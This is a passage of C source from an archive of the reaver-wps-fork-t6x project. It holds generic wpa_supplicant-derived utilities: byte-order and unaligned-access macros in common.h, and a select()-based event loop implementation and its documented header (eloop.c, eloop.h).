wpa_swap_32(n) #define WPA_BYTE_SWAP_DEFINED #endif /* __CYGWIN__ || CONFIG_NATIVE_WINDOWS */ #ifndef WPA_BYTE_SWAP_DEFINED #ifndef __BYTE_ORDER #ifndef __LITTLE_ENDIAN #ifndef __BIG_ENDIAN #define __LITTLE_ENDIAN 1234 #define __BIG_ENDIAN 4321 #if defined(sparc) #define __BYTE_ORDER __BIG_ENDIAN #endif #endif /* __BIG_ENDIAN */ #endif /* __LITTLE_ENDIAN */ #endif /* __BYTE_ORDER */ #include "endianness.h" #if ENDIANNESS_LE+0 == 1 #define le_to_host16(n) ((__force u16) (le16) (n)) #define host_to_le16(n) ((__force le16) (u16) (n)) #define be_to_host16(n) bswap_16((__force u16) (be16) (n)) #define host_to_be16(n) ((__force be16) bswap_16((n))) #define le_to_host32(n) ((__force u32) (le32) (n)) #define host_to_le32(n) ((__force le32) (u32) (n)) #define be_to_host32(n) bswap_32((__force u32) (be32) (n)) #define host_to_be32(n) ((__force be32) bswap_32((n))) #define le_to_host64(n) ((__force u64) (le64) (n)) #define host_to_le64(n) ((__force le64) (u64) (n)) #define be_to_host64(n) bswap_64((__force u64) (be64) (n)) #define host_to_be64(n) ((__force be64) bswap_64((n))) #elif ENDIANNESS_BE+0 == 1 #define le_to_host16(n) bswap_16(n) #define host_to_le16(n) bswap_16(n) #define be_to_host16(n) (n) #define host_to_be16(n) (n) #define le_to_host32(n) bswap_32(n) #define be_to_host32(n) (n) #define host_to_be32(n) (n) #define le_to_host64(n) bswap_64(n) #define host_to_le64(n) bswap_64(n) #define be_to_host64(n) (n) #define host_to_be64(n) (n) #ifndef WORDS_BIGENDIAN #define WORDS_BIGENDIAN #endif #else #error Could not determine CPU byte order #endif #define WPA_BYTE_SWAP_DEFINED #endif /* !WPA_BYTE_SWAP_DEFINED */ /* Macros for handling unaligned memory accesses */ #define WPA_GET_BE16(a) ((u16) (((a)[0] << 8) | (a)[1])) #define WPA_PUT_BE16(a, val) \ do { \ (a)[0] = ((u16) (val)) >> 8; \ (a)[1] = ((u16) (val)) & 0xff; \ } while (0) #define WPA_GET_LE16(a) ((u16) (((a)[1] << 8) | (a)[0])) #define WPA_PUT_LE16(a, val) \ do { \ (a)[1] = ((u16) (val)) >> 8; \ (a)[0] = ((u16) (val)) & 0xff; \ } while (0) #define WPA_GET_BE24(a) ((((u32) (a)[0]) << 16) | (((u32) (a)[1]) << 8) | \ ((u32) (a)[2])) #define WPA_PUT_BE24(a, val) \ do { \ (a)[0] = (u8) ((((u32) (val)) >> 16) & 0xff); \ (a)[1] = (u8) ((((u32) (val)) >> 8) & 0xff); \ (a)[2] = (u8) (((u32) (val)) & 0xff); \ } while (0) #define WPA_GET_BE32(a) ((((u32) (a)[0]) << 24) | (((u32) (a)[1]) << 16) | \ (((u32) (a)[2]) << 8) | ((u32) (a)[3])) #define WPA_PUT_BE32(a, val) \ do { \ (a)[0] = (u8) ((((u32) (val)) >> 24) & 0xff); \ (a)[1] = (u8) ((((u32) (val)) >> 16) & 0xff); \ (a)[2] = (u8) ((((u32) (val)) >> 8) & 0xff); \ (a)[3] = (u8) (((u32) (val)) & 0xff); \ } while (0) #define WPA_GET_LE32(a) ((((u32) (a)[3]) << 24) | (((u32) (a)[2]) << 16) | \ (((u32) (a)[1]) << 8) | ((u32) (a)[0])) #define WPA_PUT_LE32(a, val) \ do { \ (a)[3] = (u8) ((((u32) (val)) >> 24) & 0xff); \ (a)[2] = (u8) ((((u32) (val)) >> 16) & 0xff); \ (a)[1] = (u8) ((((u32) (val)) >> 8) & 0xff); \ (a)[0] = (u8) (((u32) (val)) & 0xff); \ } while (0) #define WPA_GET_BE64(a) ((((u64) (a)[0]) << 56) | (((u64) (a)[1]) << 48) | \ (((u64) (a)[2]) << 40) | (((u64) (a)[3]) << 32) | \ (((u64) (a)[4]) << 24) | (((u64) (a)[5]) << 16) | \ (((u64) (a)[6]) << 8) | ((u64) (a)[7])) #define WPA_PUT_BE64(a, val) \ do { \ (a)[0] = (u8) (((u64) (val)) >> 56); \ (a)[1] = (u8) (((u64) (val)) >> 48); \ (a)[2] = (u8) (((u64) (val)) >> 40); \ (a)[3] = (u8) (((u64) (val)) >> 32); \ (a)[4] = (u8) (((u64) (val)) >> 24); \ (a)[5] = (u8) (((u64) (val)) >> 16); \ (a)[6] = (u8) (((u64) (val)) >> 8); \ (a)[7] = (u8) (((u64) (val)) & 0xff); \ } while (0) #define WPA_GET_LE64(a) ((((u64) (a)[7]) << 56) | (((u64) (a)[6]) << 48) | \ (((u64) (a)[5]) << 40) | (((u64) (a)[4]) << 32) | \ (((u64) (a)[3]) << 24) | (((u64) (a)[2]) << 16) | \ (((u64) (a)[1]) << 8) | ((u64) (a)[0])) #ifndef ETH_ALEN #define ETH_ALEN 6 #endif #ifndef IFNAMSIZ #define IFNAMSIZ 16 #endif #ifndef ETH_P_ALL #define ETH_P_ALL 0x0003 #endif #ifndef ETH_P_PAE #define ETH_P_PAE 0x888E /* Port Access Entity (IEEE 802.1X) */ #endif /* ETH_P_PAE */ #ifndef ETH_P_EAPOL #define ETH_P_EAPOL ETH_P_PAE #endif /* ETH_P_EAPOL */ #ifndef ETH_P_RSN_PREAUTH #define ETH_P_RSN_PREAUTH 0x88c7 #endif /* ETH_P_RSN_PREAUTH */ #ifndef ETH_P_RRB #define ETH_P_RRB 0x890D #endif /* ETH_P_RRB */ #ifdef __GNUC__ #define PRINTF_FORMAT(a,b) __attribute__ ((format (printf, (a), (b)))) #define STRUCT_PACKED __attribute__ ((packed)) #else #define PRINTF_FORMAT(a,b) #define STRUCT_PACKED #endif #ifdef CONFIG_ANSI_C_EXTRA #if !defined(_MSC_VER) || _MSC_VER < 1400 /* snprintf - used in number of places; sprintf() is _not_ a good replacement * due to possible buffer overflow; see, e.g., * http://www.ijs.si/software/snprintf/ for portable implementation of * snprintf. */ int snprintf(char *str, size_t size, const char *format, ...); /* vsnprintf - only used for wpa_msg() in wpa_supplicant.c */ int vsnprintf(char *str, size_t size, const char *format, va_list ap); #endif /* !defined(_MSC_VER) || _MSC_VER < 1400 */ /* getopt - only used in main.c */ int getopt(int argc, char *const argv[], const char *optstring); extern char *optarg; extern int optind; #ifndef CONFIG_NO_SOCKLEN_T_TYPEDEF #ifndef __socklen_t_defined typedef int socklen_t; #endif #endif /* inline - define as __inline or just define it to be empty, if needed */ #ifdef CONFIG_NO_INLINE #define inline #else #define inline __inline #endif #ifndef __func__ #define __func__ "__func__ not defined" #endif #ifndef bswap_16 #define bswap_16(a) ((((u16) (a) << 8) & 0xff00) | (((u16) (a) >> 8) & 0xff)) #endif #ifndef bswap_32 #define bswap_32(a) ((((u32) (a) << 24) & 0xff000000) | \ (((u32) (a) << 8) & 0xff0000) | \ (((u32) (a) >> 8) & 0xff00) | \ (((u32) (a) >> 24) & 0xff)) #endif #ifndef MSG_DONTWAIT #define MSG_DONTWAIT 0 #endif #ifdef _WIN32_WCE void perror(const char *s); #endif /* _WIN32_WCE */ #endif /* CONFIG_ANSI_C_EXTRA */ #ifndef MAC2STR #define MAC2STR(a) (a)[0], (a)[1], (a)[2], (a)[3], (a)[4], (a)[5] #define MACSTR "%02x:%02x:%02x:%02x:%02x:%02x" #endif #ifndef BIT #define BIT(x) (1 << (x)) #endif /* * Definitions for sparse validation * (http://kernel.org/pub/linux/kernel/people/josh/sparse/) */ #ifdef __CHECKER__ # define __force __attribute__((force)) # define __bitwise __attribute__((bitwise)) #else # ifndef __force # define __force # endif # ifndef __bitwise # define __bitwise # endif #endif #ifndef LE16_DEFINED #define LE16_DEFINED typedef u16 __bitwise be16; typedef u16 __bitwise le16; typedef u32 __bitwise be32; typedef u32 __bitwise le32; #endif typedef u64 __bitwise be64; typedef u64 __bitwise le64; #ifndef __must_check #if __GNUC__ > 3 || (__GNUC__ == 3 && __GNUC_MINOR__ >= 4) #define __must_check __attribute__((__warn_unused_result__)) #else #define __must_check #endif /* __GNUC__ */ #endif /* __must_check */ int hwaddr_aton(const char *txt, u8 *addr); int hwaddr_aton2(const char *txt, u8 *addr); int hexstr2bin(const char *hex, u8 *buf, size_t len); void inc_byte_array(u8 *counter, size_t len); void wpa_get_ntp_timestamp(u8 *buf); int wpa_snprintf_hex(char *buf, size_t buf_size, const u8 *data, size_t len); int wpa_snprintf_hex_uppercase(char *buf, size_t buf_size, const u8 *data, size_t len); char* sanitize_string(const char *s); int verifyssid(const unsigned char *s); #ifdef CONFIG_NATIVE_WINDOWS void wpa_unicode2ascii_inplace(TCHAR *str); TCHAR * wpa_strdup_tchar(const char *str); #else /* CONFIG_NATIVE_WINDOWS */ #define wpa_unicode2ascii_inplace(s) do { } while (0) #define wpa_strdup_tchar(s) strdup((s)) #endif /* CONFIG_NATIVE_WINDOWS */ const char * wpa_ssid_txt(const u8 *ssid, size_t ssid_len); static inline int is_zero_ether_addr(const u8 *a) { return !(a[0] | a[1] | a[2] | a[3] | a[4] | a[5]); } #include "wpa_debug.h" /* * gcc 4.4 ends up generating strict-aliasing warnings about some very common * networking socket uses that do not really result in a real problem and * cannot be easily avoided with union-based type-punning due to struct * definitions including another struct in system header files. To avoid having * to fully disable strict-aliasing warnings, provide a mechanism to hide the * typecast from aliasing for now. A cleaner solution will hopefully be found * in the future to handle these cases. */ void * __hide_aliasing_typecast(void *foo); #define aliasing_hide_typecast(a,t) (t *) __hide_aliasing_typecast((a)) #endif /* COMMON_H */ reaver-wps-fork-t6x-1.6.6/src/utils/eloop.c000077500000000000000000000327241363372615500205340ustar00rootroot00000000000000/* * Event loop based on select() loop * Copyright (c) 2002-2009, Jouni Malinen * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License version 2 as * published by the Free Software Foundation. * * Alternatively, this software may be distributed under the terms of BSD * license. * * See README and COPYING for more details. */ #include "includes.h" #include "common.h" #include "trace.h" #include "list.h" #include "eloop.h" struct eloop_sock { int sock; void *eloop_data; void *user_data; eloop_sock_handler handler; WPA_TRACE_REF(eloop); WPA_TRACE_REF(user); WPA_TRACE_INFO }; struct eloop_timeout { struct dl_list list; struct os_time time; void *eloop_data; void *user_data; eloop_timeout_handler handler; WPA_TRACE_REF(eloop); WPA_TRACE_REF(user); WPA_TRACE_INFO }; struct eloop_signal { int sig; void *user_data; eloop_signal_handler handler; int signaled; }; struct eloop_sock_table { int count; struct eloop_sock *table; int changed; }; struct eloop_data { int max_sock; struct eloop_sock_table readers; struct eloop_sock_table writers; struct eloop_sock_table exceptions; struct dl_list timeout; int signal_count; struct eloop_signal *signals; int signaled; int pending_terminate; int terminate; int reader_table_changed; }; static struct eloop_data eloop; #ifdef WPA_TRACE static void eloop_sigsegv_handler(int sig) { wpa_trace_show("eloop SIGSEGV"); abort(); } static void eloop_trace_sock_add_ref(struct eloop_sock_table *table) { int i; if (table == NULL || table->table == NULL) return; for (i = 0; i < table->count; i++) { wpa_trace_add_ref(&table->table[i], eloop, table->table[i].eloop_data); wpa_trace_add_ref(&table->table[i], user, table->table[i].user_data); } } static void eloop_trace_sock_remove_ref(struct eloop_sock_table *table) { int i; if (table == NULL || table->table == NULL) return; for (i = 0; i < table->count; i++) { wpa_trace_remove_ref(&table->table[i], eloop, table->table[i].eloop_data); wpa_trace_remove_ref(&table->table[i], user, table->table[i].user_data); } } #else /* WPA_TRACE */ #define eloop_trace_sock_add_ref(table) do { } while (0) #define eloop_trace_sock_remove_ref(table) do { } while (0) #endif /* WPA_TRACE */ int eloop_init(void) { os_memset(&eloop, 0, sizeof(eloop)); dl_list_init(&eloop.timeout); #ifdef WPA_TRACE signal(SIGSEGV, eloop_sigsegv_handler); #endif /* WPA_TRACE */ return 0; } static int eloop_sock_table_add_sock(struct eloop_sock_table *table, int sock, eloop_sock_handler handler, void *eloop_data, void *user_data) { struct eloop_sock *tmp; if (table == NULL) return -1; eloop_trace_sock_remove_ref(table); tmp = (struct eloop_sock *) os_realloc(table->table, (table->count + 1) * sizeof(struct eloop_sock)); if (tmp == NULL) return -1; tmp[table->count].sock = sock; tmp[table->count].eloop_data = eloop_data; tmp[table->count].user_data = user_data; tmp[table->count].handler = handler; wpa_trace_record(&tmp[table->count]); table->count++; table->table = tmp; if (sock > eloop.max_sock) eloop.max_sock = sock; table->changed = 1; eloop_trace_sock_add_ref(table); return 0; } static void eloop_sock_table_remove_sock(struct eloop_sock_table *table, int sock) { int i; if (table == NULL || table->table == NULL || table->count == 0) return; for (i = 0; i < table->count; i++) { if (table->table[i].sock == sock) break; } if (i == table->count) return; eloop_trace_sock_remove_ref(table); if (i != table->count - 1) { os_memmove(&table->table[i], &table->table[i + 1], (table->count - i - 1) * sizeof(struct eloop_sock)); } table->count--; table->changed = 1; eloop_trace_sock_add_ref(table); } static void eloop_sock_table_set_fds(struct eloop_sock_table *table, fd_set *fds) { int i; FD_ZERO(fds); if (table->table == NULL) return; for (i = 0; i < table->count; i++) FD_SET(table->table[i].sock, fds); } static void eloop_sock_table_dispatch(struct eloop_sock_table *table, fd_set *fds) { int i; if (table == NULL || table->table == NULL) return; table->changed = 0; for (i = 0; i < table->count; i++) { if (FD_ISSET(table->table[i].sock, fds)) { table->table[i].handler(table->table[i].sock, table->table[i].eloop_data, table->table[i].user_data); if (table->changed) break; } } } static void eloop_sock_table_destroy(struct eloop_sock_table *table) { if (table) { int i; for (i = 0; i < table->count && table->table; i++) { wpa_printf(MSG_INFO, "ELOOP: remaining socket: " "sock=%d eloop_data=%p user_data=%p " "handler=%p", table->table[i].sock, table->table[i].eloop_data, table->table[i].user_data, table->table[i].handler); wpa_trace_dump_funcname("eloop unregistered socket " "handler", table->table[i].handler); wpa_trace_dump("eloop sock", &table->table[i]); } os_free(table->table); } } int eloop_register_read_sock(int sock, eloop_sock_handler handler, void *eloop_data, void *user_data) { return eloop_register_sock(sock, EVENT_TYPE_READ, handler, eloop_data, user_data); } void eloop_unregister_read_sock(int sock) { eloop_unregister_sock(sock, EVENT_TYPE_READ); } static struct eloop_sock_table *eloop_get_sock_table(eloop_event_type type) { switch (type) { case EVENT_TYPE_READ: return &eloop.readers; case EVENT_TYPE_WRITE: return &eloop.writers; case EVENT_TYPE_EXCEPTION: return &eloop.exceptions; } return NULL; } int eloop_register_sock(int sock, eloop_event_type type, eloop_sock_handler handler, void *eloop_data, void *user_data) { struct eloop_sock_table *table; table = eloop_get_sock_table(type); return eloop_sock_table_add_sock(table, sock, handler, eloop_data, user_data); } void eloop_unregister_sock(int sock, eloop_event_type type) { struct eloop_sock_table *table; table = eloop_get_sock_table(type); eloop_sock_table_remove_sock(table, sock); } int eloop_register_timeout(unsigned int secs, unsigned int usecs, eloop_timeout_handler handler, void *eloop_data, void *user_data) { struct eloop_timeout *timeout, *tmp; timeout = os_zalloc(sizeof(*timeout)); if (timeout == NULL) return -1; if (os_get_time(&timeout->time) < 0) { os_free(timeout); return -1; } timeout->time.sec += secs; timeout->time.usec += usecs; while (timeout->time.usec >= 1000000) { timeout->time.sec++; timeout->time.usec -= 1000000; } timeout->eloop_data = eloop_data; timeout->user_data = user_data; timeout->handler = handler; wpa_trace_add_ref(timeout, eloop, eloop_data); wpa_trace_add_ref(timeout, user, user_data); wpa_trace_record(timeout); /* Maintain timeouts in order of increasing time */ dl_list_for_each(tmp, &eloop.timeout, struct eloop_timeout, list) { if (os_time_before(&timeout->time, &tmp->time)) { dl_list_add(tmp->list.prev, &timeout->list); return 0; } } dl_list_add_tail(&eloop.timeout, &timeout->list); return 0; } static void eloop_remove_timeout(struct eloop_timeout *timeout) { dl_list_del(&timeout->list); wpa_trace_remove_ref(timeout, eloop, timeout->eloop_data); wpa_trace_remove_ref(timeout, user, timeout->user_data); os_free(timeout); } int eloop_cancel_timeout(eloop_timeout_handler handler, void *eloop_data, void *user_data) { struct eloop_timeout *timeout, *prev; int removed = 0; dl_list_for_each_safe(timeout, prev, &eloop.timeout, struct eloop_timeout, list) { if (timeout->handler == handler && (timeout->eloop_data == eloop_data || eloop_data == ELOOP_ALL_CTX) && (timeout->user_data == user_data || user_data == ELOOP_ALL_CTX)) { eloop_remove_timeout(timeout); removed++; } } return removed; } int eloop_is_timeout_registered(eloop_timeout_handler handler, void *eloop_data, void *user_data) { struct eloop_timeout *tmp; dl_list_for_each(tmp, &eloop.timeout, struct eloop_timeout, list) { if (tmp->handler == handler && tmp->eloop_data == eloop_data && tmp->user_data == user_data) return 1; } return 0; } #ifndef CONFIG_NATIVE_WINDOWS static void eloop_handle_alarm(int sig) { wpa_printf(MSG_ERROR, "eloop: could not process SIGINT or SIGTERM in " "two seconds. Looks like there\n" "is a bug that ends up in a busy loop that " "prevents clean shutdown.\n" "Killing program forcefully.\n"); exit(1); } #endif /* CONFIG_NATIVE_WINDOWS */ static void eloop_handle_signal(int sig) { int i; #ifndef CONFIG_NATIVE_WINDOWS if ((sig == SIGINT || sig == SIGTERM) && !eloop.pending_terminate) { /* Use SIGALRM to break out from potential busy loops that * would not allow the program to be killed. */ eloop.pending_terminate = 1; signal(SIGALRM, eloop_handle_alarm); alarm(2); } #endif /* CONFIG_NATIVE_WINDOWS */ eloop.signaled++; for (i = 0; i < eloop.signal_count; i++) { if (eloop.signals[i].sig == sig) { eloop.signals[i].signaled++; break; } } } static void eloop_process_pending_signals(void) { int i; if (eloop.signaled == 0) return; eloop.signaled = 0; if (eloop.pending_terminate) { #ifndef CONFIG_NATIVE_WINDOWS alarm(0); #endif /* CONFIG_NATIVE_WINDOWS */ eloop.pending_terminate = 0; } for (i = 0; i < eloop.signal_count; i++) { if (eloop.signals[i].signaled) { eloop.signals[i].signaled = 0; eloop.signals[i].handler(eloop.signals[i].sig, eloop.signals[i].user_data); } } } int eloop_register_signal(int sig, eloop_signal_handler handler, void *user_data) { struct eloop_signal *tmp; tmp = (struct eloop_signal *) os_realloc(eloop.signals, (eloop.signal_count + 1) * sizeof(struct eloop_signal)); if (tmp == NULL) return -1; tmp[eloop.signal_count].sig = sig; tmp[eloop.signal_count].user_data = user_data; tmp[eloop.signal_count].handler = handler; tmp[eloop.signal_count].signaled = 0; eloop.signal_count++; eloop.signals = tmp; signal(sig, eloop_handle_signal); return 0; } int eloop_register_signal_terminate(eloop_signal_handler handler, void *user_data) { int ret = eloop_register_signal(SIGINT, handler, user_data); if (ret == 0) ret = eloop_register_signal(SIGTERM, handler, user_data); return ret; } int eloop_register_signal_reconfig(eloop_signal_handler handler, void *user_data) { #ifdef CONFIG_NATIVE_WINDOWS return 0; #else /* CONFIG_NATIVE_WINDOWS */ return eloop_register_signal(SIGHUP, handler, user_data); #endif /* CONFIG_NATIVE_WINDOWS */ } void eloop_run(void) { fd_set *rfds, *wfds, *efds; int res; struct timeval _tv; struct os_time tv, now; rfds = os_malloc(sizeof(*rfds)); wfds = os_malloc(sizeof(*wfds)); efds = os_malloc(sizeof(*efds)); if (rfds == NULL || wfds == NULL || efds == NULL) goto out; while (!eloop.terminate && (!dl_list_empty(&eloop.timeout) || eloop.readers.count > 0 || eloop.writers.count > 0 || eloop.exceptions.count > 0)) { struct eloop_timeout *timeout; timeout = dl_list_first(&eloop.timeout, struct eloop_timeout, list); if (timeout) { os_get_time(&now); if (os_time_before(&now, &timeout->time)) os_time_sub(&timeout->time, &now, &tv); else tv.sec = tv.usec = 0; _tv.tv_sec = tv.sec; _tv.tv_usec = tv.usec; } eloop_sock_table_set_fds(&eloop.readers, rfds); eloop_sock_table_set_fds(&eloop.writers, wfds); eloop_sock_table_set_fds(&eloop.exceptions, efds); res = select(eloop.max_sock + 1, rfds, wfds, efds, timeout ? &_tv : NULL); if (res < 0 && errno != EINTR && errno != 0) { perror("select"); goto out; } eloop_process_pending_signals(); /* check if some registered timeouts have occurred */ timeout = dl_list_first(&eloop.timeout, struct eloop_timeout, list); if (timeout) { os_get_time(&now); if (!os_time_before(&now, &timeout->time)) { void *eloop_data = timeout->eloop_data; void *user_data = timeout->user_data; eloop_timeout_handler handler = timeout->handler; eloop_remove_timeout(timeout); handler(eloop_data, user_data); } } if (res <= 0) continue; eloop_sock_table_dispatch(&eloop.readers, rfds); eloop_sock_table_dispatch(&eloop.writers, wfds); eloop_sock_table_dispatch(&eloop.exceptions, efds); } out: os_free(rfds); os_free(wfds); os_free(efds); } void eloop_terminate(void) { eloop.terminate = 1; } void eloop_destroy(void) { struct eloop_timeout *timeout, *prev; struct os_time now; os_get_time(&now); dl_list_for_each_safe(timeout, prev, &eloop.timeout, struct eloop_timeout, list) { int sec, usec; sec = timeout->time.sec - now.sec; usec = timeout->time.usec - now.usec; if (timeout->time.usec < now.usec) { sec--; usec += 1000000; } wpa_printf(MSG_INFO, "ELOOP: remaining timeout: %d.%06d " "eloop_data=%p user_data=%p handler=%p", sec, usec, timeout->eloop_data, timeout->user_data, timeout->handler); wpa_trace_dump_funcname("eloop unregistered timeout handler", timeout->handler); wpa_trace_dump("eloop timeout", timeout); eloop_remove_timeout(timeout); } eloop_sock_table_destroy(&eloop.readers); eloop_sock_table_destroy(&eloop.writers); eloop_sock_table_destroy(&eloop.exceptions); os_free(eloop.signals); } int eloop_terminated(void) { return eloop.terminate; } void eloop_wait_for_read_sock(int sock) { fd_set rfds; if (sock < 0) return; FD_ZERO(&rfds); FD_SET(sock, &rfds); select(sock + 1, &rfds, NULL, NULL, NULL); } reaver-wps-fork-t6x-1.6.6/src/utils/eloop.h000077500000000000000000000275721363372615500205460ustar00rootroot00000000000000/* * Event loop * Copyright (c) 2002-2006, Jouni Malinen * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License version 2 as * published by the Free Software Foundation. * * Alternatively, this software may be distributed under the terms of BSD * license. * * See README and COPYING for more details. * * This file defines an event loop interface that supports processing events * from registered timeouts (i.e., do something after N seconds), sockets * (e.g., a new packet available for reading), and signals. eloop.c is an * implementation of this interface using select() and sockets. This is * suitable for most UNIX/POSIX systems. When porting to other operating * systems, it may be necessary to replace that implementation with OS specific * mechanisms. */ #ifndef ELOOP_H #define ELOOP_H /** * ELOOP_ALL_CTX - eloop_cancel_timeout() magic number to match all timeouts */ #define ELOOP_ALL_CTX (void *) -1 /** * eloop_event_type - eloop socket event type for eloop_register_sock() * @EVENT_TYPE_READ: Socket has data available for reading * @EVENT_TYPE_WRITE: Socket has room for new data to be written * @EVENT_TYPE_EXCEPTION: An exception has been reported */ typedef enum { EVENT_TYPE_READ = 0, EVENT_TYPE_WRITE, EVENT_TYPE_EXCEPTION } eloop_event_type; /** * eloop_sock_handler - eloop socket event callback type * @sock: File descriptor number for the socket * @eloop_ctx: Registered callback context data (eloop_data) * @sock_ctx: Registered callback context data (user_data) */ typedef void (*eloop_sock_handler)(int sock, void *eloop_ctx, void *sock_ctx); /** * eloop_event_handler - eloop generic event callback type * @eloop_ctx: Registered callback context data (eloop_data) * @sock_ctx: Registered callback context data (user_data) */ typedef void (*eloop_event_handler)(void *eloop_data, void *user_ctx); /** * eloop_timeout_handler - eloop timeout event callback type * @eloop_ctx: Registered callback context data (eloop_data) * @sock_ctx: Registered callback context data (user_data) */ typedef void (*eloop_timeout_handler)(void *eloop_data, void *user_ctx); /** * eloop_signal_handler - eloop signal event callback type * @sig: Signal number * @signal_ctx: Registered callback context data (user_data from * eloop_register_signal(), eloop_register_signal_terminate(), or * eloop_register_signal_reconfig() call) */ typedef void (*eloop_signal_handler)(int sig, void *signal_ctx); /** * eloop_init() - Initialize global event loop data * Returns: 0 on success, -1 on failure * * This function must be called before any other eloop_* function. */ int eloop_init(void); /** * eloop_register_read_sock - Register handler for read events * @sock: File descriptor number for the socket * @handler: Callback function to be called when data is available for reading * @eloop_data: Callback context data (eloop_ctx) * @user_data: Callback context data (sock_ctx) * Returns: 0 on success, -1 on failure * * Register a read socket notifier for the given file descriptor. The handler * function will be called whenever data is available for reading from the * socket. The handler function is responsible for clearing the event after * having processed it in order to avoid eloop from calling the handler again * for the same event. */ int eloop_register_read_sock(int sock, eloop_sock_handler handler, void *eloop_data, void *user_data); /** * eloop_unregister_read_sock - Unregister handler for read events * @sock: File descriptor number for the socket * * Unregister a read socket notifier that was previously registered with * eloop_register_read_sock(). */ void eloop_unregister_read_sock(int sock); /** * eloop_register_sock - Register handler for socket events * @sock: File descriptor number for the socket * @type: Type of event to wait for * @handler: Callback function to be called when the event is triggered * @eloop_data: Callback context data (eloop_ctx) * @user_data: Callback context data (sock_ctx) * Returns: 0 on success, -1 on failure * * Register an event notifier for the given socket's file descriptor. The * handler function will be called whenever the that event is triggered for the * socket. The handler function is responsible for clearing the event after * having processed it in order to avoid eloop from calling the handler again * for the same event. */ int eloop_register_sock(int sock, eloop_event_type type, eloop_sock_handler handler, void *eloop_data, void *user_data); /** * eloop_unregister_sock - Unregister handler for socket events * @sock: File descriptor number for the socket * @type: Type of event for which sock was registered * * Unregister a socket event notifier that was previously registered with * eloop_register_sock(). */ void eloop_unregister_sock(int sock, eloop_event_type type); /** * eloop_register_event - Register handler for generic events * @event: Event to wait (eloop implementation specific) * @event_size: Size of event data * @handler: Callback function to be called when event is triggered * @eloop_data: Callback context data (eloop_data) * @user_data: Callback context data (user_data) * Returns: 0 on success, -1 on failure * * Register an event handler for the given event. This function is used to * register eloop implementation specific events which are mainly targetted for * operating system specific code (driver interface and l2_packet) since the * portable code will not be able to use such an OS-specific call. The handler * function will be called whenever the event is triggered. The handler * function is responsible for clearing the event after having processed it in * order to avoid eloop from calling the handler again for the same event. * * In case of Windows implementation (eloop_win.c), event pointer is of HANDLE * type, i.e., void*. The callers are likely to have 'HANDLE h' type variable, * and they would call this function with eloop_register_event(h, sizeof(h), * ...). */ int eloop_register_event(void *event, size_t event_size, eloop_event_handler handler, void *eloop_data, void *user_data); /** * eloop_unregister_event - Unregister handler for a generic event * @event: Event to cancel (eloop implementation specific) * @event_size: Size of event data * * Unregister a generic event notifier that was previously registered with * eloop_register_event(). */ void eloop_unregister_event(void *event, size_t event_size); /** * eloop_register_timeout - Register timeout * @secs: Number of seconds to the timeout * @usecs: Number of microseconds to the timeout * @handler: Callback function to be called when timeout occurs * @eloop_data: Callback context data (eloop_ctx) * @user_data: Callback context data (sock_ctx) * Returns: 0 on success, -1 on failure * * Register a timeout that will cause the handler function to be called after * given time. */ int eloop_register_timeout(unsigned int secs, unsigned int usecs, eloop_timeout_handler handler, void *eloop_data, void *user_data); /** * eloop_cancel_timeout - Cancel timeouts * @handler: Matching callback function * @eloop_data: Matching eloop_data or %ELOOP_ALL_CTX to match all * @user_data: Matching user_data or %ELOOP_ALL_CTX to match all * Returns: Number of cancelled timeouts * * Cancel matching timeouts registered with * eloop_register_timeout(). ELOOP_ALL_CTX can be used as a wildcard for * cancelling all timeouts regardless of eloop_data/user_data. */ int eloop_cancel_timeout(eloop_timeout_handler handler, void *eloop_data, void *user_data); /** * eloop_is_timeout_registered - Check if a timeout is already registered * @handler: Matching callback function * @eloop_data: Matching eloop_data * @user_data: Matching user_data * Returns: 1 if the timeout is registered, 0 if the timeout is not registered * * Determine if a matching timeout is registered * with eloop_register_timeout(). */ int eloop_is_timeout_registered(eloop_timeout_handler handler, void *eloop_data, void *user_data); /** * eloop_register_signal - Register handler for signals * @sig: Signal number (e.g., SIGHUP) * @handler: Callback function to be called when the signal is received * @user_data: Callback context data (signal_ctx) * Returns: 0 on success, -1 on failure * * Register a callback function that will be called when a signal is received. * The callback function is actually called only after the system signal * handler has returned. This means that the normal limits for sighandlers * (i.e., only "safe functions" allowed) do not apply for the registered * callback. */ int eloop_register_signal(int sig, eloop_signal_handler handler, void *user_data); /** * eloop_register_signal_terminate - Register handler for terminate signals * @handler: Callback function to be called when the signal is received * @user_data: Callback context data (signal_ctx) * Returns: 0 on success, -1 on failure * * Register a callback function that will be called when a process termination * signal is received. The callback function is actually called only after the * system signal handler has returned. This means that the normal limits for * sighandlers (i.e., only "safe functions" allowed) do not apply for the * registered callback. * * This function is a more portable version of eloop_register_signal() since * the knowledge of exact details of the signals is hidden in eloop * implementation. In case of operating systems using signal(), this function * registers handlers for SIGINT and SIGTERM. */ int eloop_register_signal_terminate(eloop_signal_handler handler, void *user_data); /** * eloop_register_signal_reconfig - Register handler for reconfig signals * @handler: Callback function to be called when the signal is received * @user_data: Callback context data (signal_ctx) * Returns: 0 on success, -1 on failure * * Register a callback function that will be called when a reconfiguration / * hangup signal is received. The callback function is actually called only * after the system signal handler has returned. This means that the normal * limits for sighandlers (i.e., only "safe functions" allowed) do not apply * for the registered callback. * * This function is a more portable version of eloop_register_signal() since * the knowledge of exact details of the signals is hidden in eloop * implementation. In case of operating systems using signal(), this function * registers a handler for SIGHUP. */ int eloop_register_signal_reconfig(eloop_signal_handler handler, void *user_data); /** * eloop_run - Start the event loop * * Start the event loop and continue running as long as there are any * registered event handlers. This function is run after event loop has been * initialized with event_init() and one or more events have been registered. */ void eloop_run(void); /** * eloop_terminate - Terminate event loop * * Terminate event loop even if there are registered events. This can be used * to request the program to be terminated cleanly. */ void eloop_terminate(void); /** * eloop_destroy - Free any resources allocated for the event loop * * After calling eloop_destroy(), other eloop_* functions must not be called * before re-running eloop_init(). */ void eloop_destroy(void); /** * eloop_terminated - Check whether event loop has been terminated * Returns: 1 = event loop terminate, 0 = event loop still running * * This function can be used to check whether eloop_terminate() has been called * to request termination of the event loop. This is normally used to abort * operations that may still be queued to be run when eloop_terminate() was * called. */ int eloop_terminated(void); /** * eloop_wait_for_read_sock - Wait for a single reader * @sock: File descriptor number for the socket * * Do a blocking wait for a single read socket. */ void eloop_wait_for_read_sock(int sock); #endif /* ELOOP_H */ reaver-wps-fork-t6x-1.6.6/src/utils/eloop_none.c000077500000000000000000000175401363372615500215520ustar00rootroot00000000000000/* * Event loop - empty template (basic structure, but no OS specific operations) * Copyright (c) 2002-2005, Jouni Malinen * * This program is free software; you can redistribute it and/or modify * it under the terms of the 